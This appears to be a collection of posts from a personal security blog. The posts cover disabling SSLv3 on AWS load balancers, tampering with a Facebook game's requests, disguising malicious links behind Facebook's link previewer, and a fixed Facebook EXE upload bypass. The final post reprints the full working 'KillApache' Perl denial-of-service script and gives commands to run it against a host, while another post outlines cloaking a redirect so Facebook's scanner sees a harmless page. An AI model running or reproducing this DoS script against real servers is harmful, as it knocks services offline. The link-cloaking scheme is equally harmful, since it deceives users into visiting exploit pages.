How to Disable SSLv3 on AWS Elastic Load Balancers

In a blog post today, Google announced that a vulnerability in SSLv3 had been found that could allow attackers to intercept data that had previously been assumed to be secured. Luckily, a very small portion of the web (IE6 users on Windows XP) still use SSLv3, so it can safely, for the most part, be disabled to mitigate the risk from this issue.

http://googleonlinesecurity.blogspot.com/2014/10/this-poodle-bites-exploiting-ssl-30.html

UPDATE 10/15: As Andrew and Julio point out in the comments below, AWS has since updated their default cipher security policies. Replace steps 5 and 6.

To modify the ciphers on AWS ELBs, follow the following steps:

1) Log into the AWS console and click on "Load Balancers."

2) Find the load balancer that handles your site's traffic (you shouldn't need to worry about internal VPC LBs, etc.)

3) Click the "Listeners" tab

4) Find the HTTPS/443 listener and click "Edit" under the cipher column

5) Change the option to "Custom"

6) Uncheck the SSLv3 option
5) Change the policy to "ELBSecurityPolicy-2014-10" which disables SSLv3 for you.

6) Save.

This should be sufficient to mitigate this risk with the information that is currently known.

Intercepting Requests in Web Games

[Disclaimer: I am writing this post as an educational look into intercepting and editing GET and POST requests. How you use it is up to you. However, it is not a "security" issue and more of a poor design.]

Most people have probably played some form of online game, especially a "social" game within Facebook. I first got to thinking about these games when a member of the security group I'm in (SPARSA) gave a presentation on editing Android APKs. One demo he gave involved editing the list of approved words in Words with Friends, a Scrabble-like game on Facebook. That demo was done by decompiling the Android APK, editing the source files, and recompiling it. However, since the game had an online counter-part, I wanted to see how Facebook games were sending and receiving their data.

As I mentioned, this application involves playing what is essentially Scrabble with your Facebook friends. To play, a player must use an actual word. On the mobile version, the word is checked against a list of approved words stored within the APK. On the desktop version, the word is sent off to the Zynga's servers to be validated and a response, either valid or invalid, is returned.

As it turns out, intercepting this "word check" is surprisingly simple. In the presentation below, I walk through the steps of intercepting and modifying the GET requests to allow any word to be validated properly, essentially permitting the playing of any word.

Video:

Presentation:

Spreading Malicious Links by Redirecting Facebook's Previewer

When you post a link on Facebook, Facebook has a link fetcher / preview function that visits the website, grabs information about it, along with a thumbnail if available. If you post a bit.ly link, Facebook's fetcher  is still able to follow through the redirect and grab the end-result information.

Let's start with an example. We have this lovely image of a dog and cat on Imgur (found on /r/aww): http://i.imgur.com/vwMRV.jpg. Out bit.ly link is: http://bit.ly/zrhnPz.

Facebook displays the link like so:

Note that once the link converts to a preview, the original text can be replaced.

Notice that the end link (imgur) is displayed and not the original link of bit.ly. But suppose we skip bit.ly and make our own redirect service. To demo this, I've created a site with a spare domain I have. It is located at: http://blasze.com/iplog/. This site is just a redirection service that logs visitor IPs. But if I was to have more malicious intentions, I could have a browser exploit on the page in between Facebook and the redirect. Then, Facebook's preview utility would successfully fetch the end link, but the user clicking it could be exploited. Let's take a look.

My site generates a URL to post.

Now, like in the previous example, I can edit the link and title and unsuspecting users will think it is a cute dog. However, they're actually being redirected through my malicious site (note: it's not actually malicious. It simply logs IP addresses to prove a point, but an attacker could compromise the browser).

I post and wait...

As you can see in this image, I have a click! The redirection was entirely seamless to the user, just like using bit.ly. But without them ever knowing, I have logged their IP, host name, and user agent string. This isn't terrible, but I could have used a browser exploit to compromise their system instead of just redirecting.

But then wouldn't I be attacking Facebook's previewer too, since it visited the site? Well technically yes, unless I wrote a quick PHP script that simply redirects Facebook's IPs but attacks others.

This is just a demo of something I realized. Please don't use it maliciously, but also be aware that any link you click on Facebook could actually go somewhere else that is not what the preview indicates. To help mitigate this problem, Facebook could include an additional warning on links that redirect.

Facebook (Appears to Have) Fixed the EXE Vulnerability

Just yesterday, security researchers at Security Pentest pointed out a vulnerability in Facebook's Message center, allowing users (with some POST-data editing) to attach EXE files to a message and send them to anyone capable of receiving messages on Facebook (almost everyone, even non-friends). EXEs have been sent via email for ages, but Facebook users are notorious for clicking links and attachments on the site, so having the extra layer of security to block EXEs is important. The full vulnerability post can be read here: http://www.securitypentest.com/2011/10/facebook-attach-exe-vulnerability.html

I decided to try out the vulnerability to see if it had been fixed (it's been about 24 hours since the issue was made public, but over a month since Facebook was notified). From what I've been able to tell, Facebook has now fixed the vulnerability.

Using Tamper Data (an add-on for Firefox), the POST data could be edited when submitting a file as an upload to a message. The string <filename="filename.exe"> could be changed to <filename="filename.exe "> (angle brackets added for readability). Notice the space after the file name. Apparently, Facebook was not trimming this data and the additional space was enough to allow an exe file to slip through.

However, now the vulnerability appears to have been fixed. Attempting the same exploit results in an error message: "Unfortunately, your attachment could not be uploaded at this time. Please try again later."

TamperData - Changing the file name in the POST header

Facebook Messaging Error

Kill Apache With Backtrack 5

[Obligatory Warning: This post is for educational and prevention purposes only. I am not responsible if you use the information here in a malicious way. If you want to experiment with this vulnerability, please use Virtual Machines in a segregated environment. Never attack a machine that you do not own.]

A vulnerability for Apache web servers has been released yesterday (varying reports say that the bug was discovered over four years ago, but a script has just been written) on SecLists. Called "KillApache," the Perl script uses memory swapping and process killing to render the remote system unstable. The full thread can be read here at SecList:  http://seclists.org/fulldisclosure/2011/Aug/175

Currently, Apache has offered several mitigation techniques and work-arounds until the next release addresses the issue. The issue is that the vulnerability affects almost all Apache servers currently in use - versions 1.3 and 2. You can read about the temporary fixes here: http://web.archiveorange.com/archive/v/zvbaIDN8J7uv2lETRSfD

Until it's fixed, I decided to try out this vulnerability using Backtrack 5 and Fedora LAMP Virtual Machines. The base install of Apache, PHP, and MySQL was not changed in any way on the Fedora machine, nor were any intrusion detection or mitigation systems; it was a fresh install.

I'm going to assume that you have an Apache server already set up. There are many guides that can assist with installing Apache on Linux or Windows (as far as I know, the vulnerability affects both platforms).

The Perl script can be run from any machine with Perl installed. I am using Backtrack for penetration testing, so I saved the script there. I noticed that the default installation of Backtrack did not include a necessary Perl component called "Parallel-ForkManager." To install that, run these commands:

$ wget http://search.cpan.org/CPAN/authors/id/D/DL/DLUX/Parallel-ForkManager-0.7.9.tar.gz
$ tar -xvzf Parallel-ForkManager-0.7.9.tar.gz
$ cd Parallel-ForkManager-0.7.9
$ perl Makefile.pl
$ make
$ sudo make install

Once that is installed, download the killapache.pl script from the SecList site above. In case it is removed or the link changes, the full script is here:


#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#


use IO::Socket;
use Parallel::ForkManager;


sub usage {
print "Apache Remote Denial of Service (memory exhaustion)\n";
print "by Kingcope\n";
print "usage: perl killapache.pl &lt;host&gt; [numforks]\n";
print "example: perl killapache.pl www.example.com 50\n";
}


sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";

$pm = new Parallel::ForkManager($numforks);


$|=1;
srand(time());
$p = "";
for ($k=0;$k&lt;1300;$k++) {
$p .= ",5-$k";
}


for ($k=0;$k&lt;$numforks;$k++) {
my $pid = $pm-&gt;start and next;

$x = "";
my $sock = IO::Socket::INET-&gt;new(PeerAddr =&gt; $ARGV[0],
                                 PeerPort =&gt; "80",
                      Proto    =&gt; 'tcp');


$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;


while(&lt;$sock&gt;) {
}
 $pm-&gt;finish;
}
$pm-&gt;wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}


sub testapache {
my $sock = IO::Socket::INET-&gt;new(PeerAddr =&gt; $ARGV[0],
                                 PeerPort =&gt; "80",
                      Proto    =&gt; 'tcp');


$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;


$x = &lt;$sock&gt;;
if ($x =~ /Partial/) {
print "host seems vuln\n";
return 1;
} else {
return 0;
}
}


if ($#ARGV &lt; 0) {
usage;
exit;
}


if ($#ARGV &gt; 1) {
$numforks = $ARGV[1];
} else {$numforks = 50;}


$v = testapache();
if ($v == 0) {
print "Host does not seem vulnerable\n";
exit;
}
while(1) {
killapache();
}

Once you create and save the script as killapache.pl, you can run it from the command line as:

$ perl killapache.pl <host> <num_forks>

$ perl killapache 10.10.1.1 50


You will immediately notice that the attack is working if you view the system resource monitor of your remote machine. Here are some screenshots I took while running the attack against a VM:

This is the system before the attack is launched.

This is the system while the attack is running. Notice the huge spike in CPU usage.

As I said, please do not use this information maliciously. This is a serious bug because, although it will probably be addressed in the next Apache release, thousands, if not millions of servers will remain vulnerable for years until they are upgraded.